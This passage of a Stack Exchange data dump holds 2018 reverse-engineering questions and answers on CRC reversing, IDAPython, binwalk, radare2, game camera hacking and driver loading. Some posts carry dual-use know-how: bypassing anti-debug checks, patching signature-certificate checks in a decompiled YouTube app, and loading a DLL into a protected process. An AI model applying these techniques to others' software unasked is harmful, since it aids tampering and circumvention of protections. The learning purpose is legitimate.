C9&#xA;^C&#xA;C:\lafarge2&amp;gt;octo\filehash.py crackme.exe&#xA;2ef9a7504dddb18f0ecd7fce3a720dc131c6994d&#xA;&#xA;C:\lafarge2&amp;gt;octo\filehash.py octo\crackme.exe&#xA;cdcf6fbbb70010f1c9d4e4b4d2f0dea60f61c50d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;an extra section &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\lafarge2&amp;gt;dumpbin /nologo octo\crackme.exe | tail -n 5 &amp;amp; dumpbin /nologo crackme.exe | tail -n 5&#xA;        8000 .data&#xA;        1000 .r4nd&#xA;        1000 .rdata&#xA;        B000 .rsrc&#xA;        4000 .text&#xA;&#xA;        8000 .data&#xA;        1000 .rdata&#xA;        B000 .rsrc&#xA;        4000 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-05-01T14:30:59.297" LastActivityDate="2018-05-01T14:30:59.297" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="18138" PostTypeId="2" ParentId="18127" CreationDate="2018-04-30T21:55:25.217" Score="3" Body="&lt;p&gt;I wanted to give this a try because it seemed interesting but I did not succeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, maybe this will lead you in the right direction for further tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started reading some introduction material on CRCs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.sunshine2k.de/articles/coding/crc/understanding_crc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.sunshine2k.de/articles/coding/crc/understanding_crc.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this one where someone else was trying to reverse engineer a CRC:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.cosc.canterbury.ac.nz/greg.ewing/essays/CRC-Reverse-Engineering.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get a general understanding what we're dealing with. Then I was about to write some small Z3 script but luckily stumbled upon &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/DennisYurichev/yurichev.com/blob/master/blog/CRC_cracker_Z3/CRC_cracker.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/DennisYurichev/yurichev.com/blob/master/blog/CRC_cracker_Z3/CRC_cracker.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is described here: &lt;a href=&quot;https://yurichev.com/blog/CRC_cracker_Z3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://yurichev.com/blog/CRC_cracker_Z3/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, that is a script that uses Z3 (Microsoft's theorem prover) to calculate the CRC sum and it tries to find the polynomial, test Big and Little Endian interpretation, and an inverted input/output or not. You supply it with input data and the CRC sums they have to generate and then it tells you the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That script did not produce a result for me though. That either means it's not a CRC, not a 32 bit CRC, the input/output is modified beyond simple inversion, or the supplied samples are not &lt;em&gt;just&lt;/em&gt; over the 3 letters you listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also could not find any matching publicly known set of parameters (such as CRC32C), for that I tested some parameter sets using &lt;a href=&quot;https://pycrc.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pycrc.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your actual target was recreating the checksum I'd probably go reverse engineer the code now instead of treating it as a blackbox.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-04-30T21:55:25.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18139" PostTypeId="1" CreationDate="2018-05-01T01:20:26.697" Score="1" ViewCount="1791" Body="&lt;p&gt;I ran:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; binwalk --dd='jpeg:jpg' file.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The JPGs (there are hundreds of them) are extracted but all of the JPGs experience varying levels of &quot;corruption&quot;. &lt;a href=&quot;https://i.stack.imgur.com/Yh9TB.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's an example of what most of the images look like.&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is about 8 years old and has been stored on probably 3 different drives since then. I can't imagine that bit rot would have gotten to it, but could that be a possibility? Is there anything else I can try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: FileJuicer worked perfectly!&lt;/p&gt;&#xA;" OwnerUserId="24223" LastEditorUserId="24223" LastEditDate="2018-05-02T21:16:28.463" LastActivityDate="2018-05-02T21:16:28.463" Title="Binwalk extracted images corrupt?" Tags="|tools|digital-forensics|binwalk|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18141" PostTypeId="1" AcceptedAnswerId="18153" CreationDate="2018-05-01T05:34:07.110" Score="4" ViewCount="3080" Body="&lt;p&gt;I have functions &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foo_0(...,_ v0,...)&#xA;foo_1(...,_ v1,...)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, for each &lt;code&gt;(foo_x, _ v_x)&lt;/code&gt; pair, I would like to change the type of &lt;code&gt;v_x&lt;/code&gt; in the declaration to &lt;code&gt;ANIMAL *&lt;/code&gt;, where &lt;code&gt;ANIMAL&lt;/code&gt; is a local type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recycled some code from &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8870/&quot;&gt;this question&lt;/a&gt;, as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from idaapi import *&#xA;&#xA;tif = tinfo_t()&#xA;get_tinfo2(ea, tif)&#xA;&#xA;funcdata = func_type_data_t()&#xA;tif.get_func_details(funcdata)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this I was stuck, as &lt;code&gt;funcdata[i].type&lt;/code&gt; is a &lt;code&gt;tinfo_t&lt;/code&gt; object which I could not find a way to create/modify easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My last resort would be to use &lt;code&gt;GuessType&lt;/code&gt;/&lt;code&gt;GetType&lt;/code&gt; and modify the string before &lt;code&gt;SetType&lt;/code&gt;, but this might be a tad complicated since some arguments are pointers to functions themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be most welcome!&lt;/p&gt;&#xA;" OwnerUserId="24225" LastEditorUserId="53" LastEditDate="2018-05-01T10:10:09.650" LastActivityDate="2018-11-29T07:40:14.407" Title="IDA: Changing type of arguments to local type" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18142" PostTypeId="2" ParentId="18118" CreationDate="2018-05-01T09:54:20.840" Score="1" Body="&lt;p&gt;How you could start to tackle this problem. I assume that you are able to start the program under Ida and and find in memory the int3 location. If this is not the case, you should describe in some more detail what exactly happens.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Look in a hex editor if the int3 (=0xCC) is present in the static exe file. For this, you could collect in Ida (on a sheet of paper) the sequence of bytes in memory in the vicinity of the int 3. You should be able to find this byte sequence in the file, but take memory locations into account which might not be present in the static file (due to linking or dynamic memory).&lt;/li&gt;&#xA;&lt;li&gt;If the int3 is there in your exe file, replace it with your hex editor by a nop (0x90).&lt;/li&gt;&#xA;&lt;li&gt;Start Ida and have a look if the prog can stop at this location.&lt;/li&gt;&#xA;&lt;li&gt;Look in Ida if your 0x90 is still there. If no, then it has perhaps been removed by some anti-tamper means. In that case, stop in Ida immediately after start, and try - by stepping through your prog - to isolate the location where it is removed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is just an example how to start. There are of course other possible ways to tackle the problem. For instance, when Ida breaks at your int3, try to trace back to find from where the code sequence containing the int3 is called. This should be connected to the anti-debug code, because I assume your int3 is not called when running without debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important with this stuff: Don't give up, even if it totally frustrates you (That's the sole purpose of anti-debug).&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-05-01T09:54:20.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18143" PostTypeId="2" ParentId="16490" CreationDate="2018-05-01T11:38:45.370" Score="0" Body="&lt;p&gt;Thanks for all the answers. In the end I used retdec due to some licensing restrictions. I can't share the exact code used, but this might be useful for others looking at this too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docker-IDA -  &lt;a href=&quot;https://github.com/intezer/docker-ida&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/intezer/docker-ida&lt;/a&gt; - Can be changed to work on HexRays fairly easily&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then commands such as the following may be useful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;['/ida/idat','-Ohexrays:outfile:ALL','-A',folder + 'input.bin'])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;['mono','/dnSpy/dnSpy.Console.exe',filename,'-o', outdir]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;['/retdec/bin/decompile.sh','-l','py',filename]&lt;/p&gt;&#xA;" OwnerUserId="21098" LastActivityDate="2018-05-01T11:38:45.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18144" PostTypeId="1" AcceptedAnswerId="18197" CreationDate="2018-05-01T21:00:53.023" Score="2" ViewCount="3243" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://gamedev.stackexchange.com/questions/158050/what-am-i-missing-for-this-flycam-to-work-correctly&quot;&gt;I've posited a similar question&lt;/a&gt;&lt;/strong&gt; over on the Game Development StackExchange, but I'm going to refine it, elaborate, and piecemeal a more R.E.-specific context with the hope that someone out there has experience with this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start, I'm looking to create a free-fly cam hack where I can move anywhere with forward orientation always being where my mouse is pointing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The game I'm hacking (single-player-only) auto-moves the player after tasks are completed; there are no instructions bound to player movement with anything but rotation via mouse. This means I'm building in WASD functionality myself, in a sense. I've found an instruction to inject on which allows me to obtain the XYZ coordinates (which change when the game auto-moves the player) of the camera, as well as its rotation data. Thus, I have the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;camX (Plane) -- Value is a float ranging from negative to positive&lt;/li&gt;&#xA;  &lt;li&gt;camY (Plane) -- Value is a float ranging from negative to positive&lt;/li&gt;&#xA;  &lt;li&gt;camZ (Up/Down) -- Value is a float ranging from negative to positive&lt;/li&gt;&#xA;  &lt;li&gt;camH (Horizontal/Yaw) -- Value is a float in degrees from +180 to -180&lt;/li&gt;&#xA;  &lt;li&gt;camV (Vertical/Pitch) -- Value is a float in degrees clamped to +89 to -89&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With that information, I've written a script in Lua (for use in &lt;strong&gt;&lt;a href=&quot;https://github.com/cheat-engine/cheat-engine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cheat Engine&lt;/a&gt;&lt;/strong&gt;) which allows me to bind directions (forward, backward, left, right, up, and down) to keys (W, A, S, D, Q, and E); however, those simply add/subtract to/from XYZ values along with a speed modifier, meaning if I'm facing forward and moving forward, everything is fine. Turning 180 degress with the mouse, though, effectively means back is forward, left is right, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking to achieve is having those directional keys apply to wherever I'm aiming the mouse pointer. So, forward is always where I'm facing, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I've done so far is some combination of the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Download flycam/freecam scripts from other games and replace relevant instructions/data/etc. with my own.&lt;/li&gt;&#xA;&lt;li&gt;Attempt to create my own based on various information I've gathered (&lt;strong&gt;&lt;a href=&quot;https://www.cheatengine.org/forum/viewtopic.php?p=5643360&quot; rel=&quot;nofollow noreferrer&quot;&gt;example here&lt;/a&gt;&lt;/strong&gt;) and general research of trigonometry and vector calculus as related to game development.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems that no matter how much I &lt;em&gt;think&lt;/em&gt; I understand what's going on, I've yet to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something I've gathered is that it would really behoove me to find where the game stores/references &lt;strong&gt;sin&lt;/strong&gt; and &lt;strong&gt;cos&lt;/strong&gt; information, such that I don't have to calculate those values on my own via something like math.cos()/math.sin() and possibly converting degrees/radians, etc. And even those manual calculations I've tried haven't worked out, so I'm not sure I fully grasp what I need to there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bearing all of the aforementioned in mind, here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 1&lt;/strong&gt;: What do sin/cos values tend to look like, and at what point through a camera/coord-related subroutine might I expect to see&#xA;  them (whether on the stack, in FPU/XMM registers, etc.)? I've gathered&#xA;  that these should be close to where I'm dabbling either in memory or&#xA;  within a subroutine, but I'm just not quite sure what I'm looking for.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Question 2&lt;/strong&gt;: Are there general approaches through reversing to identify the coordinate system of a game? In the case of the game I'm&#xA;  hacking, it's developed in Unreal Engine 4, so I can simply &lt;strong&gt;&lt;a href=&quot;http://www.aclockworkberry.com/world-coordinate-systems-in-3ds-max-unity-and-unreal-engine/&quot; rel=&quot;nofollow noreferrer&quot;&gt;look up&#xA;  the engine's coordinate system&lt;/a&gt;&lt;/strong&gt;; however, if I wanted to validate&#xA;  such findings (possibly fleshing out if a game is using a custom&#xA;  coordinate system instead of the in-built one) or discover anew when&#xA;  dealing with a custom engine, how I might I do that? Are they values&#xA;  that tend to reside in nearby memory addresses of avatar/camera data,&#xA;  or possibly in registers/on the stack in camera-related subroutines?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Question 3&lt;/strong&gt;: If I know the coordinate system used in the game, as well as the XYZ and Pitch/Yaw camera values, is there a formulaic way&#xA;  I can calculate sin/cos therewith to then use with a speed modifier to&#xA;  successfully implement a freecam? This, in the event that I cannot find &#xA;  sin/cos within the game to use within my script.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Question 4&lt;/strong&gt;: I only have a cursory understanding of the trig/calc I've looked up in trying to understand calculations as related to&#xA;  sin/cos. Given a left-hand &lt;em&gt;and&lt;/em&gt; right-hand coordinate system with Z&#xA;  being up, along with XYZ, Pitch/Yaw data, and a speed modifier, could&#xA;  someone possibly walk me through the necessary calculations for making&#xA;  forward work in both coordinate systems no matter where the user&#xA;  points the mouse? For example, what exactly the sin/cos values are&#xA;  comprised of at any given time, how/why they matter, and why you would&#xA;  add/sub/mul to appropriately modify XYZ, etc?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Apologies for the verbosity and if I'm unknowingly asking questions that require FAR more understanding to adequately answer, but I just wanted to be thorough in explaining my research and efforts up to this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any guidance you can provide!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-05-01T21:21:55.507" LastActivityDate="2018-05-07T20:58:52.093" Title="Need help with reverse engineering camera-related information in a video game" Tags="|assembly|cheat-engine|lua|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18146" PostTypeId="2" ParentId="18124" CreationDate="2018-05-02T08:40:16.310" Score="0" Body="&lt;p&gt;I could find some hints by googling the error message, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/40705362/422797&quot;&gt;https://stackoverflow.com/a/40705362/422797&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like it's not related to the plist but possibly to some security APIs (e.g. keychain access or &lt;code&gt;SecCodeCheckValidity&lt;/code&gt;) used by the program.&#xA;Apparently the OS caches signing info based on the file's vnode, and if you replace it in-place that invalidates the signature. The linked answer suggests some workarounds.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-02T08:40:16.310" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18147" PostTypeId="2" ParentId="18139" CreationDate="2018-05-02T08:57:27.780" Score="4" Body="&lt;p&gt;Binwalk does carving, it doesn't care if embeedded file maybe cut into pieces, and its the parts are not stored in the container file continuously. It just finds JFIF header and tries to guess the size, and saves data starting from the point it found the header at. You may try to carve using photorec, but most probably it won't help either.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-02T08:57:27.780" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18148" PostTypeId="1" AcceptedAnswerId="18149" CreationDate="2018-05-02T14:03:24.250" Score="0" ViewCount="1292" Body="&lt;p&gt;I downloaded radare 2.5 for windows. I am trying to debug a binary on windows with radare and have tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare2 -d a.exe&#xA;fork_and_ptraceme/CreateProcess: The request is not supported.&#xA;w32_dbg_maps/w32_OpenProcess: The parameter is incorrect.&#xA;[w] Cannot open 'dbg://a.exe' for writing.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to use gdbserver and use radare to connect remotely. It connects but it gets stuck and I am not able to give it any commands or see anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am going to try windbg remote as well, however, I am starting to wonder, do I need to install another set of libraries or another type of debugger, or do some additional configuration to make debugging work with radare2. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="3795" LastEditorUserId="18698" LastEditDate="2018-05-02T14:13:36.967" LastActivityDate="2018-05-02T14:34:06.010" Title="Radare2 cannot debug on windows 7" Tags="|windows|debugging|gdb|radare2|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18149" PostTypeId="2" ParentId="18148" CreationDate="2018-05-02T14:34:06.010" Score="3" Body="&lt;p&gt;You are most probably using radare2 version downloaded by following the link on the official website (&lt;a href=&quot;http://radare.mikelloc.com/get/2.5.0/radare2_installer-msvc_32-2.5.0.exe&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://radare.mikelloc.com/get/2.5.0/radare2_installer-msvc_32-2.5.0.exe&lt;/a&gt;). The link is to the 32-bit application, but you need to open &lt;a href=&quot;http://radare.mikelloc.com/get/2.5.0/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the directory&lt;/a&gt; and download the 64-bit radare2 version.&#xA;Just encountered this issue myself.&lt;/p&gt;&#xA;" OwnerUserId="24237" LastActivityDate="2018-05-02T14:34:06.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18151" PostTypeId="1" AcceptedAnswerId="18162" CreationDate="2018-05-02T21:47:47.757" Score="1" ViewCount="144" Body="&lt;p&gt;I'm trying to unpack some windows driver but I can't load it to memory. I tried OSRLoader, ProcessHacker and my own loader and all returns ERROR_FILE_NOT_FOUND at OpenService. What's strange, other drivers works fine.  Unfortunatelly I don't have original dropper, can it be some kind of anti debugging trick? What can be reason?&lt;/p&gt;&#xA;" OwnerUserId="24242" LastActivityDate="2018-05-04T08:34:09.203" Title="Cannot load driver to memory" Tags="|windows|kernel-mode|driver|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18153" PostTypeId="2" ParentId="18141" CreationDate="2018-05-03T10:24:51.057" Score="4" Body="&lt;p&gt;This worked for me (checks might be needed on &lt;code&gt;guess_tinfo&lt;/code&gt; and &lt;code&gt;get_func_details&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tif = idaapi.tinfo_t()&#xA;ida_typeinf.guess_tinfo(ea,tif)                     &#xA;funcdata = idaapi.func_type_data_t()&#xA;tif.get_func_details(funcdata)&#xA;tif2 = idaapi.tinfo_t()&#xA;tif2.get_named_type(idaapi.get_idati(),&quot;ANIMAL&quot;)       #tif2 = ANIMAL&#xA;tif3 = tinfo_t()&#xA;tif3.create_ptr(tif2)                                  #tif3 = ANIMAL *&#xA;funcdata[argnum].type = tif3                           #replace corresponding argument&#xA;function_tinfo = idaapi.tinfo_t()&#xA;function_tinfo.create_func(funcdata)&#xA;idaapi.apply_tinfo2(ea, function_tinfo, idaapi.TINFO_DEFINITE)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24225" LastEditorUserId="24225" LastEditDate="2018-11-29T07:40:14.407" LastActivityDate="2018-11-29T07:40:14.407" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18155" PostTypeId="1" CreationDate="2018-05-03T14:43:51.613" Score="1" ViewCount="838" Body="&lt;p&gt;I am a bit confused about the CFF explorer quick disassembler options shown in my screen , &#xA;Can somebody explain what those hex values are underneath the Opcode part ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hCnV9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hCnV9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EEUke.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EEUke.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xqIDq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xqIDq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;updated the question part , there is no confusion in the first two pictures , Its just the last pic with the show opcode part that is confusing me .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14422/how-do-i-know-the-bytes-corresponding-to-an-instruction-in-hex-view-in-ida&quot;&gt;How do I know the bytes corresponding to an instruction in Hex view in IDA?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tJk8y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tJk8y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would i want to know about the &quot;number of opcode bytes&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="24017" LastEditorUserId="24017" LastEditDate="2018-05-04T00:17:20.890" LastActivityDate="2023-12-22T22:07:30.987" Title="A newbies question about CFF explorer screen" Tags="|disassembly|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18159" PostTypeId="1" CreationDate="2018-05-03T23:35:03.717" Score="4" ViewCount="335" Body="&lt;p&gt;I'm currently trying to finish an assignment for one of my classes that requires a sequence of ten Hexadecimal numbers for it not to blow up. The task is to find these numbers and input them in the correct order to diffuse the so called &quot;bomb&quot;. We are given the y86 source code (which coincidentally also contains x86 assembly code). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, are there any general tips for either finding these numbers in the memory or converting parts of the code to C code by just looking at the x86 code? I understand what each individual call is doing I'm just not sure where to start when it involves over 500 lines of assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand it might be difficult to give such general advice, but any help is appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24255" LastActivityDate="2018-05-07T00:42:41.360" Title="General x86 to C tips?" Tags="|disassembly|assembly|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18162" PostTypeId="2" ParentId="18151" CreationDate="2018-05-04T08:34:09.203" Score="1" Body="&lt;p&gt;This is a filesystem filter driver, it cannot be run just like usual driver by creating a service and then starting it. You need to create inf file and register it properly, only then you'll be able to start its service.&#xA;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/creating-an-inf-file-for-a-file-system-filter-driver&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/creating-an-inf-file-for-a-file-system-filter-driver&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-04T08:34:09.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18163" PostTypeId="2" ParentId="18159" CreationDate="2018-05-04T09:09:36.263" Score="3" Body="&lt;p&gt;there is a web based &lt;strong&gt;&lt;a href=&quot;https://xsznix.github.io/js-y86/&quot; rel=&quot;nofollow noreferrer&quot;&gt;emulator / simulator for y86 code /js-y86/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can step through in this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kMXXx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kMXXx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-05-04T09:09:36.263" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18164" PostTypeId="2" ParentId="13056" CreationDate="2018-05-04T10:27:40.413" Score="1" Body="&lt;p&gt;If there's no way to debug it, use system mechanisms to load your DLL into protected process, then do whatever you like. &lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-05-04T10:27:40.413" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18165" PostTypeId="1" AcceptedAnswerId="18168" CreationDate="2018-05-04T13:02:51.267" Score="0" ViewCount="1484" Body="&lt;p&gt;I try to decompile youtube android application and modify it but when I build the application and install on a virtual device faced with below error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E/AndroidRuntime(1782): java.lang.VerifyError: Rejecting class &#xA;com.google.android.apps.youtube.app.YouTubeApplication because it failed compile-time &#xA;verification (declaration of 'com.google.android.apps.youtube.app.YouTubeApplication' &#xA;appears in /data/ap /com.google.android.youtube-1/base.apk)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I use APKTOOL for decompiling and build Smali sources.&lt;/li&gt;&#xA;&lt;li&gt;I create a PowerConnectionReceiever.smali and copy it to &#xA;&lt;code&gt;com\google\android\apps\youtube\app\&lt;/code&gt; directory then try to register my receiver to &lt;code&gt;com\google\android\apps\youtube\app\YouTubeApplication.smali&lt;/code&gt; in &lt;strong&gt;onCreate&lt;/strong&gt; method&lt;/li&gt;&#xA;&lt;li&gt;also add receiver declaration in AndroidManifest.xml and convert it to &lt;strong&gt;bytecode&lt;/strong&gt; then copy it to youtube project directory &lt;/li&gt;&#xA;&lt;li&gt;when I ask about it from the experts they tell me it occurs because of Google Tamper Detection Mechanism.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to know about those mechanisms. can anyone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for helping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;----------------------- Edit ---------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just modify signing certificate check in two file &lt;strong&gt;anex.smali&lt;/strong&gt; and &lt;strong&gt;nlo.smali&lt;/strong&gt; and faced with this error when run app:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E/AndroidRuntime(1665): java.lang.VerifyError: Verifier rejected class&#xA;com.google.android.apps.youtube.app.YouTubeApplication due to bad method&#xA;void com.google.android.apps.youtube.app.YouTubeApplication.onCreate() &#xA;(declaration of 'com.google.android.apps.youtube.app.YouTubeApplication'&#xA;appears in /data/app/com.google.android.youtube-1/base.apk)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;AndroidManifest.xml&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;application android:backupAgent=&quot;com.google.android.apps.youtube.app.application.backup.YouTubeBackupAgent&quot; &#xA;    android:hardwareAccelerated=&quot;true&quot; &#xA;    android:icon=&quot;@mipmap/ic_launcher&quot;&#xA;    android:label=&quot;@string/application_name&quot;&#xA;    android:largeHeap=&quot;true&quot;&#xA;    android:logo=&quot;@drawable/action_bar_logo_release&quot;&#xA;    android:name=&quot;com.google.android.apps.youtube.app.YouTubeApplication&quot;&#xA;    android:restoreAnyVersion=&quot;true&quot;&#xA;    android:roundIcon=&quot;@mipmap/ic_launcher_round&quot;&#xA;    android:supportsRtl=&quot;@bool/supports_rtl&quot;&#xA;    